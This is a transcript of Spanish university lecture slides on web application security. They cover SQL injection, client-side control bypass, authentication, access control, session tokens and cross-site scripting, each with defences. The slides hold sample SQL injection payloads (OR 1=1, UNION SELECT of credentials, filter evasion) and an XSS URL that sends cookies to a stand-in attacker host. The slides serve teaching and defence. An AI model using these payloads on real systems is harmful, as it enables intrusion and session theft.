Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper...

62
Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jes ´ us Arias Fisteus // [email protected] Seguridad en Computaci ´ on Web– p. 1

Transcript of Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper...

Page 1: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Seguridad en Computación Web

Computación Web (Curso 2015/2016)

Jesus Arias Fisteus // [email protected]

Seguridad en Computacion Web– p. 1

Page 2: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Seguridad en aplicaciones Web

«This site is absolutely secure. It has beendesigned to use 128-bit Secure Socket Layer(SSL) technology to prevent unauthorizedusers from viewing any of your information.You may use this site with peace of mind thatyour data is safe with us.»

Seguridad en Computacion Web– p. 2

Page 3: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Seguridad en aplicaciones Web

A laptop battery contains roughly the stored energy of a hand

grenade, and if shorted it ... hey! You can’t arrest me if I prove

your rules inconsistent!

http://xkcd.com/651/

Seguridad en Computacion Web– p. 3

Page 4: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Seguridad en aplicaciones Web

http://geekandpoke.typepad.com/geekandpoke/2011/

05/everybody-has-to-set-priorities.html

Seguridad en Computacion Web– p. 4

Page 5: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Errores más peligrosos en programas

2011 CWE/SANS Top 25 Most Dangerous Software Errors

Seguridad en Computacion Web– p. 5

Page 6: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

¡Los usuarios pueden enviar

datos arbitrarios a la

aplicación!

Seguridad en Computacion Web– p. 6

Page 7: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Envío de datos arbitrarios

Los usuarios pueden:

Alterar cualquier dato transferido al servidor:parámetros de la petición, cookies, cabecerasHTTP.

Enviar peticiones en secuencias arbitrarias,enviar parámetros en peticiones en que elservidor no lo espera, no enviarlos, enviarlosmás de una vez.

Usar herramientas distintas a un navegadorWeb para atacar más fácilmente la aplicación.

Seguridad en Computacion Web– p. 7

Page 8: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Envío de datos manipulados

En la mayoría de los ataques se envían datosmanipulados para causar un efecto no deseado enla aplicación. Ejemplos:

Cambio del precio de un producto en un campooculto de un formulario.

Modificar el token de sesión.

Eliminar algunos parámetros que el servidorespera.

Alterar datos que van a ser procesados por unabase de datos.

Seguridad en Computacion Web– p. 8

Page 9: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques al almacenamiento de datos

Seguridad en Computacion Web– p. 9

Page 10: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques al almacenamiento de datos

Principales ataques:

Bases de datos SQL (inyección de SQL).

Bases de datos XML.

Directorios LDAP.

Seguridad en Computacion Web– p. 10

Page 11: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Inyección de SQL

http://xkcd.com/327/

Seguridad en Computacion Web– p. 11

Page 12: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Esquivar la autenticación

La comilla simple es un carácter especial en SQL.

La secuencia “--” (comentario) invalida el restodel comando.

nombre = "juan' -- '"

String consulta = "SELECT nombre FROM Usuarios WHERE nombre='" + nombre

+ "' AND contrasena='" + password + "'";

// Consulta realizada:

SELECT nombre FROM Usuarios WHERE nombre='juan' -- '' AND contrasena=''

Seguridad en Computacion Web– p. 12

Page 13: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Esquivar la autenticación

Si no se conoce el nombre del usuario, se puedeobtener el primero.

En muchas aplicaciones el primer usuario es eladministrador, que cuenta con privilegiosespeciales.

nombre = "' OR 1=1 -- '"

String consulta = "SELECT nombre FROM Usuarios WHERE nombre='" + nombre

+ "' AND contrasena='" + password + "'";

// Consulta realizada:

SELECT nombre FROM Usuarios WHERE nombre='' OR 1=1 -- '' AND contrasena=''

Seguridad en Computacion Web– p. 13

Page 14: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Tipos de consultas

Cualquier tipo de consulta es vulnerable (SELECT,INSERT, UPDATE, etc.)

Se puede inyectar tanto en datos textuales comoen datos numéricos.

Seguridad en Computacion Web– p. 14

Page 15: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a consultas INSERT

En un campo se inyectan el resto de los valores:

contrasena = "passwd', 10000000) -- '"

String consulta = "INSERT INTO Usarios (nombre, contrasena, saldo) VALUES ('"

+ nombre + "', '" + contrasena + "', " + saldo + ")";

// Consulta realizada:

INSERT INTO Usarios (nombre, contrasena, saldo)

VALUES ('nombre', 'passwd', 10000000) -- '', 0)

Seguridad en Computacion Web– p. 15

Page 16: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques con UNION

El comando UNION permite combinar resultadosde dos consultas.

genero = "1 UNION SELECT usuario, contrasena, NULL FROM Usuarios -- "

String consulta = "SELECT titulo, autor, precio FROM Libros

WHERE genero=" + genero;

// Consulta realizada:

SELECT titulo, autor, precio FROM Libros

WHERE genero=1 UNION SELECT usuario, contrasena, NULL FROM Usuarios --

Seguridad en Computacion Web– p. 16

Page 17: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Nombres de tablas y columnas

Para realizar algunos tipos de ataques esnecesario conocer nombres de tablas y columnas.

A veces los nombres son predecibles.

En otras ocasiones, se pueden descubrir conconsultas inyectadas con UNION:

UNION SELECT TABLE_SCHEMA, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS

UNION SELECT TABLE_NAME, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_SCHEMA='DemoSeguridad'

UNION SELECT COLUMN_NAME, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_SCHEMA='DemoSeguridad' AND TABLE_NAME='Usuarios'

Seguridad en Computacion Web– p. 17

Page 18: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Inyección de segundo orden

Aun filtrando correctamente comillas (sustituciónde comilla simple por doble), futuras consultas sonvulnerables si se insertan en la base de datosvalores con comilla simple.

Las comillas no son necesarias en camposnuméricos.

El comentario se reemplaza por “or 'a'='a”.

El bloqueo de palabras clave se puede esquivara veces:SeLeCt

SELSELECTECT

Si se filtran blancos, se puede insertarcomentarios “/**/”.

Seguridad en Computacion Web– p. 18

Page 19: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Defensa frente a estos ataques

Usar PreparedStatement o equivalente:

En todas las consultas, no sólo en las quetoman datos directamente del usuario.

Usar el nivel de privilegios más bajo posible.

Deshabilitar funciones innecesarias de las basesde datos.

Mantener el gestor de bases de datos siempreactualizado.

Seguridad en Computacion Web– p. 19

Page 20: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Otros ataques de inyección de código

Otros ataques similares por inyección de código:

Inyección en comandos del sistema operativo.

Inyección en lenguajes de scripting.

Inyección en JSON.

Inyección en XML.

Inyección en LDAP.

Inyección en correo electrónico.

Inyección en cabeceras de HTTP.

Seguridad en Computacion Web– p. 20

Page 21: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Esquivar controles en el cliente

Seguridad en Computacion Web– p. 21

Page 22: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Datos recibidos del cliente

Datos enviados por el servidor a través del cliente.

Datos recogidos por el cliente.

Seguridad en Computacion Web– p. 22

Page 23: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Datos enviados a través del cliente

Enviados típicamente mediante:

Campos ocultos en formularios.

Cookies HTTP.

Parámetros en URLs.

Cabeceras HTTP.

Son susceptibles de ser modificados por elusuario.

Incluso en ocasiones a pesar de ser opacos.

Seguridad en Computacion Web– p. 23

Page 24: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ejemplo

<form method=“post” action=“Shop.aspx?prod=1”>

Product: iPhone 5 <br/>

Price: 449 <br/>

Quantity: <input type=“text” name=“quantity”> (Maximum quantity is 50)

<br/>

<input type=“hidden” name=“price” value=“449”>

<input type=“submit” value=“Buy”>

</form>

Seguridad en Computacion Web– p. 24

Page 25: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ejemplo

HTTP/1.1 200 OK

Set-Cookie: DiscountAgreed=25

Content-Length: 1530

(...)

Seguridad en Computacion Web– p. 25

Page 26: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Datos recogidos por el cliente

Recogidos típicamente mediante:

Formularios HTML.

Javascript, Applets Java, Silverlight, Flash, etc.

Son susceptibles de ser establecidosarbitrariamente por el usuario saltando lavalidación del lado del cliente (restricciones en elformulario, javascript, etc.)

Seguridad en Computacion Web– p. 26

Page 27: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección frente a estos ataques

Para proteger la aplicación, es recomendable:

No enviar datos sensibles a través del cliente:Si no queda más remedio, cifrarlos ofirmarlos (cuidado con ataques por repeticióny ataques con texto claro).

Validar en el servidor todos los datosprocedentes del cliente.

Sistema de logs, monitorización y alertas.

Seguridad en Computacion Web– p. 27

Page 28: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a los mecanismos de autenticación

Seguridad en Computacion Web– p. 28

Page 29: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a la autenticación

Errores en la autenticación:

Errores de diseño.

Errores de implementación.

Seguridad en Computacion Web– p. 29

Page 30: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a la autenticación

http://abstrusegoose.com/296

Seguridad en Computacion Web– p. 30

Page 31: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Errores de diseño (I)

Contraseñas débiles.

Posibilidad de ataques de fuerza bruta.

Mensajes de error detallados.

Transmisión vulnerable de credenciales.

Funcionalidad de cambio de contraseña.

Funcionalidad de “contraseña olvidada”.

Funcionalidad “recuérdame”.

Funcionalidad de impersonación de usuarios.

Seguridad en Computacion Web– p. 31

Page 32: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Errores de diseño (II)

Validación de credenciales incompleta.

Nombres de usuario no únicos.

Nombres de usuario predecibles.

Contraseñas iniciales predecibles.

Distribución insegura de credenciales.

Seguridad en Computacion Web– p. 32

Page 33: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Errores de implementación

Errores en la lógica de la aplicación.

Defectos en mecanismos de autenticaciónmulti-paso.

Almacenamiento inseguro de credenciales.

Seguridad en Computacion Web– p. 33

Page 34: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ejemplo

public Response checkLogin(Session session) {

try {

String uname = session.getParameter(“username”);

String passwd = session.getParameter(“password”);

User user = db.getUser(uname, passwd);

if (user == null) {

// invalid credentials

session.setMessage(“Login failed. ”);

return doLogin(session);

}

}

catch (Exception e) {}

// valid user

session.setMessage(“Login successful. ”);

return doMainMenu(session);

}

Seguridad en Computacion Web– p. 34

Page 35: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección de los mecanismos de au-

tenticación

Usar credenciales robustas.

Manejar credenciales confidencialmente.

Validar credenciales apropiadamente.

Prevenir fuga de información.

Prevenir ataques de fuerza bruta.

Evitar uso fraudulento de la funcionalidad decambio de contraseña.

Evitar uso fraudulento de la funcionalidad derecordar contraseña.

Sistema de logs, monitorización y alertas.

Seguridad en Computacion Web– p. 35

Page 36: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques al control de acceso

Seguridad en Computacion Web– p. 36

Page 37: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques al control de acceso

El usuario accede a recursos o acciones para losque no está autorizado:

Escalada vertical de privilegios.

Escalada horizontal de privilegios.

Seguridad en Computacion Web– p. 37

Page 38: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Vulnerabilidades en el control de acce-

so

Funcionalidad sin proteger en absoluto: porejemplo, suponiendo URLs desconocidas.

Funciones basadas en identificador de recursosupuestamente desconocido.

Funciones multi-etapa.

Acceso sin control a ficheros estáticos.

Control de acceso inseguro: basado en datosenviados por el cliente.

Ejemplo:http://www.test.com/?admin=true

Seguridad en Computacion Web– p. 38

Page 39: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del control de acceso (I)

No basarse en el desconocimiento por el usuariode URLs o identificadores.

No pasar datos relativos al control de acceso através del usuario.

No asumir una secuencia concreta en laspeticiones.

Seguridad en Computacion Web– p. 39

Page 40: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del control de acceso (II)

Buenas prácticas (I):

Documentar y evaluar el sistema de control deacceso.

Basar las decisiones en la sesión del usuario.

Usar un componente central para tomar lasdecisiones sobre el acceso a recursos.

Restringir funcionalidad delicada por rango deIPs.

Controlar el acceso a ficheros estáticos.

Validar identificadores de recurso siempre quevengan del cliente.

Seguridad en Computacion Web– p. 40

Page 41: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del control de acceso (III)

Buenas prácticas (II):

Nueva autenticación en funcionalidad sensible.

Sistema de logs de acceso.

Seguridad en Computacion Web– p. 41

Page 42: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a la gestión de sesiones

Seguridad en Computacion Web– p. 42

Page 43: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a la gestión de sesiones

La autenticación de usuarios se complementa conmecanismos de gestión de sesiones:

Token de sesión: identificador que envía elcliente en sus peticiones, con frecuencia enuna cookie, para que el servidor identifique aqué sesión pertenecen.

Dos grupos de vulnerabilidades principalmente:

Generación de tokens de sesión débiles.

Debilidades en el manejo de tokens de sesióndurante su ciclo de vida.

Seguridad en Computacion Web– p. 43

Page 44: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Generación de tokens débiles

Tokens con significado deducible:

Nombre de usuario, id de usuario en la base dedatos, fecha, número secuencial o secuenciadeducible, dirección IP, dirección de correoelectrónico, etc.

757365723d6461663b6170703d61646d

696e3b646174653d30312f31322f3131

user=daf;app=admin;date=10/09/11

Seguridad en Computacion Web– p. 44

Page 45: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Generación de tokens débiles

Tokens predecibles:

Incluyen información temporal, secuenciasfácilmente deducibles, secuenciaspseudoaleatorias.

Seguridad en Computacion Web– p. 45

Page 46: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Debilidades en el manejo de tokens de

sesión (I)

Interceptación en la red del token:

Uso de HTTP en las comunicaciones.

Problemas en el uso de HTTPS:Uso sólo en el procedimiento deautenticación.Uso de token previo obtenido por HTTP.Peticiones por HTTP después de haberentrado en HTTPS: por ejemplo, ficherosestáticos por HTTP, botón atrás, etc.Inducción por el atacante a realizar unapetición HTTP (por correo electrónico, desdeotros sitios Web, etc.)

Seguridad en Computacion Web– p. 46

Page 47: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Debilidades en el manejo de tokens de

sesión (II)

Exposición del token en logs o aplicaciones degestión.

Mapeo vulnerable de tokens a sesiones.

Terminación de sesión vulnerable: no hay funcióncierre de sesión o no se invalida el token en elservidor.

Secuestro de tokens o fijación de tokens mediantecross-site scripting, peticiones cross-site, etc.

Dominio de las cookies demasiado amplio.

Seguridad en Computacion Web– p. 47

Page 48: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del mecanismo de sesiones

(I)

Generación de tokens robustos:

Gran número de posibles valores.

No incluir más información que un identificador.

Buen generador de números pseudoaleatorios.

Introducir otros datos como fuente dealeatoriedad: IP y puerto cliente, cabeceraUser-Agent, fecha y hora con muchaprecisión, clave adicional sólo conocida por elservidor y refrescada en cada arranque.

Seguridad en Computacion Web– p. 48

Page 49: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del mecanismo de sesiones

(II)

Protección de los tokens (I):

Trasmisión del token sólo por HTTPS (cookiessólo HTTPS).

Nunca transmitir tokens en la URL.

Cierre de sesión que invalide el token en elservidor.

Expiración de sesiones por inactividad.

Evitar sesiones simultáneas del mismo usuario.

Proteger aplicaciones de gestión que permitanver los tokens.

Seguridad en Computacion Web– p. 49

Page 50: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del mecanismo de sesiones

(III)

Protección de los tokens (II):

Restringir el dominio y ruta de las cookies.

Evitar vulnerabilidades cross-site scripting.

No aceptar tokens arbitrarios puestos por elusuario.

Iniciar una nueva sesión siempre tras laautenticación.

Tokens distintos para cada página.

Sistema de logs, monitorización y alertas.

Cierre de sesión ante cualquier tipo de error en laentrada del usuario.

Seguridad en Computacion Web– p. 50

Page 51: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a usuarios

Seguridad en Computacion Web– p. 51

Page 52: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a usuarios

Existe un conjunto de técnicas cuyo objetivo esatacar a otros usuarios de una aplicación Web:

Cross-site scripting.

Inducción de acciones del usuario:On Site Request Forgery.Cross-Site Request Forgery.UI Redress

Captura de datos desde otros dominios.

Fijación de sesiones.

Redirección abierta.

Inyección de SQL en el cliente.

Ataques al navegador.

Seguridad en Computacion Web– p. 52

Page 53: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting

Tres tipos principales de ataque:

Reflejado.

Almacenado.

Basado en DOM.

Seguridad en Computacion Web– p. 53

Page 54: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting reflejado

Se produce cuando una aplicación muestradirectamente datos enviados como parámetros dela petición por el usuario.

Por ejemplo, páginas de error con mensajepasado como parámetro:http://example.com/Error?message=Sorry%2c+an+error+occurred

El cliente puede inyectar código Javascript que seejecutará en el navegador.http://example.com/Error?message=<script>var+i=new+Image;

+i.src=“http://mdattacker.net/”%2bdocument.cookie;</script>

Los enlaces se pueden disimular con codificaciónURL.

Seguridad en Computacion Web– p. 54

Page 55: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting reflejado

Seguridad en Computacion Web– p. 55

Page 56: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting reflejado

Envío del enlace malicioso al usuario:

Por correo electrónico.

En mensajería instantánea.

Desde un sitio Web de terceros o del atacante.

Mediante redes de publicidad.

Mediante acciones enviar a un amigo oinformar al administrador en el sitio Webatacado.

Seguridad en Computacion Web– p. 56

Page 57: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting almacenado

El atacante introduce texto en la base de datos delsitio Web que posteriormente se muestra a otrosusuarios.

El atacante puede inyectar código Javascript endicho texto, que se ejecutará en el navegador deotros usuarios del sistema, incluso deadministradores.

Más peligroso que el reflejado, porque el atacadoestá autenticado y no es necesario inducirlo aactivar ningún enlace.

Seguridad en Computacion Web– p. 57

Page 58: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting almacenado

Seguridad en Computacion Web– p. 58

Page 59: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting basado en DOM

El servidor no transmite los datos del usuario devuelta, pero en la página hay código Javascriptque los toma de la URL pedida y los muestra condocument.write().

Ataque similar en parte a cross-site scriptingreflejado.

Seguridad en Computacion Web– p. 59

Page 60: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting

Posibles acciones de ataque:

Pintadas virtuales (defacement).

Inyección de troyanos y phishing.

Inducción de acciones por el usuario.

Aprovechar privilegios: captura de texto de lafunción autocompletar, aplicaciones conrestricciones de seguridad reducidas, usofraudulento de controles ActiveX.

Escalado del ataque en el lado del cliente:captura de teclado, historial de navegación,escaneo de puertos en la red local del usuario,etc.

Seguridad en Computacion Web– p. 60

Page 61: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Prevención de cross-site scripting

Validar la entrada del usuario:

Restricciones de longitud, conjunto decaracteres, expresiones regulares.

Validar la salida:

Reemplazo de caracteres reservados de HTMLpor referencias a entidades.

Eliminar puntos peligrosos de inserción (códigoJavascript, cabeceras de HTTP, atributos deelementos HTML).

Donde el usuario pueda editar HTML, limitar lasmarcas que pueda utilizar o utilizar lenguajesde marcas alternativos.

Seguridad en Computacion Web– p. 61

Page 62: Seguridad en Computación Web Computación Web (Curso … · Edited with emacs + LAT E X+ prosper Seguridad en Computación Web Computación Web (Curso 2015/2016) Jesus Arias Fisteus

Edited

with

em

acs

+LA

T EX

+pro

sper

Referencias

Dafydd Stuttard, Marcus Pinto. The WebApplication Hacker’s Handbook. 2nd ed. JohnWiley & Sons

Acceso en Safari

Capítulos 1, 5, 6, 7, 8, 9 y 12.

Seguridad en Computacion Web– p. 62